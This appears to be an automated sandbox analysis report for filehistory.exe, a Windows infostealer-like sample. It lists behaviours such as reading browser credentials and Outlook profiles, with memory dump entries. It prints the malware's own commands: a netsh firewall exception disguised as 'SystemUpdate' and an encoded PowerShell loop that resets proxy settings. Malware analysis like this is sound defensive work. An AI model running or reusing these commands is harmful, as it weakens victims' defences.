Analysis
- max time kernel
144s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20230220-en - resource tags
- submitted
28/05/2023, 19:43
General
- Target filehistory.exe
- Size 435KB
- Sample230528-ye8weagd34
- SHA256 43cc6ed0dcd1fa220283f7bbfa79aaf6342fdb5e73cdabdde67debb7e2ffc945
Malware Config
Signatures
- Blocklisted process makes network request 1 IoCs
- Modifies Windows Firewall 1 TTPs 1 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Modifies system certificate store 2 TTPs 5 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\filehistory.exe"C:\Users\Admin\AppData\Local\Temp\filehistory.exe"1⤵
- Accesses Microsoft Outlook profiles
- Checks processor information in registry
- Modifies system certificate store
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
-
C:\Windows\SYSTEM32\netsh.exe"netsh.exe" firewall add allowedprogram C:\Users\Admin\AppData\Local\Temp\filehistory.exe SystemUpdate ENABLE2⤵
- Modifies Windows Firewall
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -enc dwBoAGkAbABlACgAJAB0AHIAdQBlACkAewAKAHQAcgB5AHsAaQB3AHIAIAAnAGgAdAB0AHAAcwA6AC8ALwBlAHgAYQBtAHAAbABlAC4AYwBvAG0AJwAgAC0AdQBzAGUAYgBhAHMAaQBjAHAAYQByAHMAaQBuAGcAfQBjAGEAdABjAGgAewAKACQAcgBlAGcASwBlAHkAPQAiAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEkAbgB0AGUAcgBuAGUAdAAgAFMAZQB0AHQAaQBuAGcAcwAiADsAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACQAcgBlAGcASwBlAHkAIABQAHIAbwB4AHkARQBuAGEAYgBsAGUAIAAtAHYAYQBsAHUAZQAgADAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAAIAA7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAHAAYQB0AGgAIAAkAHIAZQBnAEsAZQB5ACAAUAByAG8AeAB5AFMAZQByAHYAZQByACAALQB2AGEAbAB1AGUAIAAiACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAAOwAgAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAHAAYQB0AGgAIAAkAHIAZQBnAEsAZQB5ACAAQQB1AHQAbwBDAG8AbgBmAGkAZwBVAFIATAAgAC0AVgBhAGwAdQBlACAAIgAiACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwADsAZQB4AGkAdAAKAH0ACgBzAGwAZQBlAHAAIAAyAH0A2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
Tmp8E17.tmp
Tmp9B86.tmp
Tmp9D1F.tmp
TmpEBEC.tmp
__PSScriptPolicyTest_3ffsfq5t.tmi.ps1
E14FE7858FDB9AF18696939861538433C73AC2FD
8B262C084A435CAADCDF4024EAC11B12CC945B62
memory/2768-165-0x0000025A3BDC0000-0x0000025A3BDD0000-memory.dmp
memory/2768-242-0x0000025A3BDC0000-0x0000025A3BDD0000-memory.dmp
memory/2768-244-0x0000025A3BDC0000-0x0000025A3BDD0000-memory.dmp
memory/2768-164-0x0000025A3BDC0000-0x0000025A3BDD0000-memory.dmp
memory/2768-243-0x0000025A3BDC0000-0x0000025A3BDD0000-memory.dmp
memory/2768-167-0x0000025A3BDC0000-0x0000025A3BDD0000-memory.dmp
memory/2804-148-0x0000028C4CCA0000-0x0000028C4CCB0000-memory.dmp
memory/2804-150-0x0000028C65910000-0x0000028C65986000-memory.dmp
memory/2804-147-0x0000028C4CC60000-0x0000028C4CC75000-memory.dmp
memory/2804-146-0x0000028C64D50000-0x0000028C64D71000-memory.dmp
memory/2804-145-0x0000028C64D50000-0x0000028C64D71000-memory.dmp
memory/2804-144-0x0000028C4CCA0000-0x0000028C4CCB0000-memory.dmp
memory/2804-149-0x0000028C65010000-0x0000028C6505A000-memory.dmp
memory/2804-133-0x0000028C4B0A0000-0x0000028C4B112000-memory.dmp
memory/2804-151-0x0000028C650B0000-0x0000028C650CE000-memory.dmp
memory/2804-143-0x0000028C65720000-0x0000028C65742000-memory.dmp